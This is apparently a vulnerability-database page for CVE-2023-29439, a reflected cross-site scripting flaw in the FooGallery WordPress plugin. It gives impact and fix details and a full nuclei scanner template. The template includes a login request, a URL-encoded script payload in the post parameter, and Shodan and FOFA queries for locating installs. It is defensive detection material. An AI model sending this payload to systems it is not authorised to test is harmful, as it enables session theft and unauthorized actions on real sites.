Browse / CVEs / CVE-2023-29439
CVE-2023-29439· fooplugins / foogallery· CWE-79
FooGallery plugin <= 2.2.35 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it
Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.
Impact
Authenticated attackers can inject malicious JavaScript code through the post parameter, potentially stealing admin session tokens or performing unauthorized actions as administrators.
Fix
Upgrade to FooGallery version 2.2.36 or later.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/post-new.php?post_type=foogallery&post=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "data-gallery_id=\"\\\"><script>alert(document.domain)</script>\"" and "foogallery-image-edit-modal" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-29439 -u <target>
The full check
id: CVE-2023-29439
info:
name: FooGallery plugin <= 2.2.35 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.
impact: |
Authenticated attackers can inject malicious JavaScript code through the post parameter, potentially stealing admin session tokens or performing unauthorized actions as administrators.
remediation: |
Upgrade to FooGallery version 2.2.36 or later.
reference:
- https://lourcode.kr/posts/CVE-2023-29439-Analysis?_s_id=cve
- https://wordpress.org/plugins/foogallery/
- https://nvd.nist.gov/vuln/detail/CVE-2023-29439
- https://patchstack.com/database/vulnerability/foogallery/wordpress-foogallery-plugin-2-2-35-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-29439
cwe-id: CWE-79
epss-score: 0.01747
epss-percentile: 0.78007
cpe: cpe:2.3:a:fooplugins:foogallery:*:*:*:*:*:wordpress:*:*
metadata:
verified: "true"
max-request: 2
vendor: fooplugins
product: foogallery
framework: wordpress
shodan-query: http.html:/wp-content/plugins/foogallery/
fofa-query: body=/wp-content/plugins/foogallery/
publicwww-query: "/wp-content/plugins/foogallery/"
tags: cve,cve2023,xss,wordpress,wp-plugin,wp,foogallery,authenticated,fooplugins,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/post-new.php?post_type=foogallery&post=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'data-gallery_id="\"><script>alert(document.domain)</script>"'
- 'foogallery-image-edit-modal'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://lourcode.kr/posts/CVE-2023-29439-Analysis?_s_id=cve
- https://wordpress.org/plugins/foogallery/
- https://nvd.nist.gov/vuln/detail/CVE-2023-29439
- https://patchstack.com/database/vulnerability/foogallery/wordpress-foogallery-plugin-2-2-35-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from